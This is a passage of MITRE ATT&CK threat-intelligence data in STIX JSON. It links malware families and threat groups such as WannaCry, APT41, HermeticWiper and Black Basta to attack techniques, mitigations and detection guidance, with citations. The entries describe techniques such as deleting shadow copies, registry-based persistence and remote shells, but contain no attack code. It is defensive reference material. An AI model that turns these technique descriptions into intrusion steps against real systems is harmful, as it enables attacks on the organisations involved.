2022)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6ab65410-25e5-4eef-8a38-06630aa4386b","type":"relationship","created":"2020-11-13T21:28:40.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-11-13T21:28:40.835Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) has added BMP images to the resources section of its Portable Executable (PE) file increasing each binary to at least 300MB in size.(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6abb1f16-7e68-4b0d-a1ae-4001f5a7f87b","created":"2023-09-26T18:44:51.479Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-26T18:44:51.479Z","description":"[MoustachedBouncer](https://attack.mitre.org/groups/G1019) has used a reverse proxy tool similar to the GitHub repository revsocks.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"intrusion-set--7251b44b-6072-476c-b8d9-a6e32c355b28","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6abc6901-d152-4b5f-b27d-8b973ae567cb","type":"relationship","created":"2020-03-09T13:41:14.499Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-27T13:51:59.167Z","description":"Disable or remove any unnecessary or unused shells or interpreters.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6abe4e38-5d96-469e-b648-dca7a520cc2e","created":"2021-07-26T14:56:10.947Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB GrimAgent July 2021","description":"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.","url":"https://www.group-ib.com/blog/grimagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:32:39.432Z","description":"[GrimAgent](https://attack.mitre.org/software/S0632) can use Native API including GetProcAddress and ShellExecuteW.(Citation: Group IB GrimAgent July 2021)","relationship_type":"uses","source_ref":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6ac167a2-e2b4-4b66-96a1-521468d5784c","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-03-20T17:03:18.944Z","description":"[Dipsind](https://attack.mitre.org/software/S0200) can spawn remote shells.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--e170995d-4f61-4f17-b60e-04f9a06ee517","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6ac1f40a-5fae-4d51-b357-0f57eec77a96","type":"relationship","created":"2020-02-05T20:13:52.283Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-05T20:13:52.283Z","relationship_type":"revoked-by","source_ref":"attack-pattern--101c3a64-9ba5-46c9-b573-5c501053cbca","target_ref":"attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6ac34520-de4a-4033-92a4-52d7463592b9","created":"2022-03-25T20:00:53.887Z","x_mitre_version":"1.0","external_references":[{"source_name":"Qualys Hermetic Wiper March 2022","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware","description":"Dani, M. (2022, March 1). Ukrainian Targets Hit by HermeticWiper, New Datawiper Malware. Retrieved March 25, 2022."},{"source_name":"ESET Hermetic Wizard March 2022","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."},{"source_name":"Crowdstrike DriveSlayer February 2022","url":"https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/","description":"Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWiper](https://attack.mitre.org/software/S0697) can disable the VSS service on a compromised host using the service control manager.(Citation: Crowdstrike DriveSlayer February 2022)(Citation: ESET Hermetic Wizard March 2022)(Citation: Qualys Hermetic Wiper March 2022)","modified":"2022-04-15T01:43:57.278Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6ad24bad-dc5d-47fa-ac2b-38a58e7775fd","type":"relationship","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.874Z","description":"Monitor for API calls that may employ various means to detect and avoid virtualization and analysis environments. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6ad38475-9375-4c8e-a15d-1a2f5ec6d4b7","created":"2024-07-11T20:38:18.398Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FRP GitHub","description":"fatedier. (n.d.). What is frp?. Retrieved July 10, 2024.","url":"https://github.com/fatedier/frp"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-11T20:52:46.496Z","description":"[FRP](https://attack.mitre.org/software/S1144) can tunnel SSH and Unix Domain Socket communications over TCP between external nodes and exposed resources behind firewalls or NAT.(Citation: FRP GitHub)","relationship_type":"uses","source_ref":"tool--36dd807e-b5bc-4c3e-91ed-80682360148c","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6ad392c7-3fc3-46d4-b479-5862e11a81d8","type":"relationship","created":"2019-04-17T19:18:00.452Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Remexi Jan 2019","url":"https://securelist.com/chafer-used-remexi-malware/89538/","description":"Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019."}],"modified":"2020-03-17T02:25:24.426Z","description":"[Remexi](https://attack.mitre.org/software/S0375) uses [BITSAdmin](https://attack.mitre.org/software/S0190) to communicate with the C2 server over HTTP.(Citation: Securelist Remexi Jan 2019)","relationship_type":"uses","source_ref":"malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6ad43f71-f2dd-445f-8352-e762005870cc","created":"2022-07-15T13:45:34.730Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-23T21:14:31.895Z","description":"Monitor for API calls associated with finding local system groups and permission settings, such as NetLocalGroupEnum. Other API calls relevant to Local Group discovery include NetQueryDisplayInformation and NetGetDisplayInformationIndex.\n\nNote: Most EDR tools do not support direct monitoring of API calls due to the sheer volume of calls produced by an endpoint but may have alerts or events that are based on abstractions of OS API calls. Dynamic malware analysis tools (i.e., sandboxes) can be used to trace the execution, including OS API calls, for a single PE binary. ","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6ad5d5c8-b53e-417c-a574-3818269d1e85","type":"relationship","created":"2019-03-26T13:38:24.630Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"LogRhythm WannaCry","url":"https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/","description":"Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019."},{"description":"Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.","url":"https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html","source_name":"FireEye WannaCry 2017"},{"description":"Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.","url":"https://www.secureworks.com/research/wcry-ransomware-analysis","source_name":"SecureWorks WannaCry Analysis"}],"modified":"2019-04-22T11:43:33.450Z","description":"[WannaCry](https://attack.mitre.org/software/S0366) utilizes wmic to delete shadow copies.(Citation: LogRhythm WannaCry)(Citation: FireEye WannaCry 2017)(Citation: SecureWorks WannaCry Analysis)","relationship_type":"uses","source_ref":"malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6ad8e998-041f-491d-8691-4990022248e0","created":"2019-09-23T23:08:25.339Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"},{"source_name":"FireEye APT41 March 2020","description":"Glyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved April 28, 2020.","url":"https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html"},{"source_name":"Group IB APT 41 June 2021","description":"Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.","url":"https://www.group-ib.com/blog/colunmtk-apt41/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-09T19:01:00.854Z","description":"[APT41](https://attack.mitre.org/groups/G0096) created and modified startup files for persistence.(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021) [APT41](https://attack.mitre.org/groups/G0096) added a registry key in HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost to establish persistence for [Cobalt Strike](https://attack.mitre.org/software/S0154).(Citation: FireEye APT41 March 2020)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6ada1a93-2fc2-4bd7-bec8-5d41b406e181","created":"2023-09-19T19:47:37.806Z","revoked":false,"external_references":[{"source_name":"Proofpoint TA2541 February 2022","description":"Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.","url":"https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"},{"source_name":"Cisco Operation Layover September 2021","description":"Ventura, V. (2021, September 16). Operation Layover: How we tracked an attack on the aviation industry to five years of compromise. Retrieved September 15, 2023.","url":"https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T19:47:37.806Z","description":"[TA2541](https://attack.mitre.org/groups/G1018) has injected malicious code into legitimate .NET related processes including regsvcs.exe, msbuild.exe, and installutil.exe.(Citation: Proofpoint TA2541 February 2022)(Citation: Cisco Operation Layover September 2021)","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6add4de1-3af8-4994-b65f-ccb13fdd703a","type":"relationship","created":"2019-03-25T12:30:41.047Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.","source_name":"Palo Alto Shamoon Nov 2016"},{"description":"Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.","url":"https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/","source_name":"Unit 42 Shamoon3 2018"}],"modified":"2019-04-19T19:04:56.009Z","description":"[RawDisk](https://attack.mitre.org/software/S0364) was used in [Shamoon](https://attack.mitre.org/software/S0140) to help overwrite components of disk structure like the MBR and disk partitions.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)","relationship_type":"uses","source_ref":"tool--3ffbdc1f-d2bf-41ab-91a2-c7b857e98079","target_ref":"attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6ade9df2-d75a-40a6-91aa-f3150e07ac6a","type":"relationship","created":"2021-03-02T21:48:35.253Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dragos EKANS","url":"https://www.dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/","description":"Dragos. (2020, February 3). EKANS Ransomware and ICS Operations. Retrieved February 9, 2021."}],"modified":"2021-05-04T18:06:34.412Z","description":"[EKANS](https://attack.mitre.org/software/S0605) can use Windows Mangement Instrumentation (WMI) calls to execute operations.(Citation: Dragos EKANS)","relationship_type":"uses","source_ref":"malware--00e7d565-9883-4ee5-b642-8fd17fd6a3f5","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6ae983c6-b332-42d9-b489-87f475b6b9d6","created":"2023-06-16T18:26:40.252Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-02T19:13:59.971Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) can query the Registry, typically `HKLM:\\SOFTWARE\\Classes\\.wav\\OpenWithProgIds`, to find the key and path to decrypt and load its kernel driver and kernel driver loader.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6aeb6489-91f4-458c-b7f1-15b4025ee3fa","created":"2022-09-21T14:50:30.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-23T20:55:11.794Z","description":"(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8","target_ref":"tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6aedddc0-0c82-48f0-b9cc-071d440a367c","created":"2023-03-08T20:40:34.782Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BlackBerry Black Basta May 2022","description":"Ballmer, D. (2022, May 6). Black Basta: Rebrand of Conti or Something New?. Retrieved March 7, 2023.","url":"https://blogs.blackberry.com/en/2022/05/black-basta-rebrand-of-conti-or-something-new"},{"source_name":"Check Point Black Basta October 2022","description":"Check Point. (2022, October 20). BLACK BASTA AND THE UNNOTICED DELIVERY. Retrieved March 8, 2023.","url":"https://research.checkpoint.com/2022/black-basta-and-the-unnoticed-delivery/"},{"source_name":"Cyble Black Basta May 2022","description":"Cyble. (2022, May 6). New ransomware variant targeting high-value organizations. Retrieved March 7, 2023.","url":"https://blog.cyble.com/2022/05/06/black-basta-ransomware/"},{"source_name":"Palo Alto Networks Black Basta August 2022","description":"Elsad, A. (2022, August 25). Threat Assessment: Black Basta Ransomware. Retrieved March 8, 2023.","url":"https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware"},{"source_name":"NCC Group Black Basta June 2022","description":"Inman, R. and Gurney, P. (2022, June 6). Shining the Light on Black Basta. Retrieved March 8, 2023.","url":"https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/"},{"source_name":"Uptycs Black Basta ESXi June 2022","description":"Sharma, S. and Hegde, N. (2022, June 7). Black basta Ransomware Goes Cross-Platform, Now Targets ESXi Systems. Retrieved March 8, 2023.","url":"https://www.uptycs.com/blog/black-basta-ransomware-goes-cross-platform-now-targets-esxi-systems"},{"source_name":"Trend Micro Black Basta Spotlight September 2022","description":"Trend Micro. (2022, September 1). Ransomware Spotlight Black Basta. Retrieved March 8, 2023.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta"},{"source_name":"Deep Instinct Black Basta August 2022","description":"Vilkomir-Preisman, S. (2022, August 18). Beating Black Basta Ransomware. Retrieved March 8, 2023.","url":"https://www.deepinstinct.com/blog/black-basta-ransomware-threat-emergence"},{"source_name":"Minerva Labs Black Basta May 2022","description":"Zargarov, N. (2022, May 2). New Black Basta Ransomware Hijacks Windows Fax Service. Retrieved March 7, 2023.","url":"https://minerva-labs.com/blog/new-black-basta-ransomware-hijacks-windows-fax-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-13T20:36:35.656Z","description":"[Black Basta](https://attack.mitre.org/software/S1070) can encrypt files with the ChaCha20 cypher and using a multithreaded process to increase speed.(Citation: Minerva Labs Black Basta May 2022)(Citation: BlackBerry Black Basta May 2022)(Citation: Cyble Black Basta May 2022)(Citation: NCC Group Black Basta June 2022)(Citation: Uptycs Black Basta ESXi June 2022)(Citation: Deep Instinct Black Basta August 2022)(Citation: Palo Alto Networks Black Basta August 2022)(Citation: Trend Micro Black Basta Spotlight September 2022)(Citation: Check Point Black Basta October 2022)","relationship_type":"uses","source_ref":"malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6aeeb7e4-fc09-40a6-b071-c04df0f92928","type":"relationship","created":"2021-04-19T19:24:55.384Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry Bahamut","url":"https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf","description":"The BlackBerry Research & Intelligence Team. (2020, October). BAHAMUT: Hack-for-Hire Masters of Phishing, Fake News, and Fake Apps. Retrieved February 8, 2021."}],"modified":"2021-05-24T13:16:56.659Z","description":"[Windshift](https://attack.mitre.org/groups/G0112) has created LNK files in the Startup folder to establish persistence.(Citation: BlackBerry Bahamut)","relationship_type":"uses","source_ref":"intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6aef256e-e914-42d3-af4a-3be735cf3fe3","created":"2024-10-02T12:18:06.760Z","revoked":false,"external_references":[{"source_name":"PWC Yellow Liderc 2023","description":"PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.","url":"https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-02T12:18:06.760Z","description":"[CURIUM](https://attack.mitre.org/groups/G1012) has used SMTPS to exfiltrate collected data from victims.(Citation: PWC Yellow Liderc 2023)","relationship_type":"uses","source_ref":"intrusion-set--3ea7add5-5b8f-45d8-b1f1-905d2729d62a","target_ref":"attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6af4810f-3abe-43eb-92b0-ee8fefc2a4b9","type":"relationship","created":"2020-09-24T14:20:39.251Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:08:00.307Z","description":"[FatDuke](https://attack.mitre.org/software/S0512) has been regularly repacked by its operators to create large binaries and evade detection.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--54a01db0-9fab-4d5f-8209-53cef8425f4a","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6afb86e4-cb3b-40f5-ab03-10db5e0e9302","type":"relationship","created":"2021-09-28T17:59:40.620Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-15T15:03:46.128Z","description":"[MarkiRAT](https://attack.mitre.org/software/S0652) can check for running processes on the victim’s machine to look for Kaspersky and Bitdefender antivirus products.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"malware--532c6004-b1e8-415b-9516-f7c14ba783b1","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6afb8db0-2e11-4be3-850e-2d01bc165922","created":"2024-09-25T13:39:31.724Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T13:39:31.724Z","description":"Monitor network data for 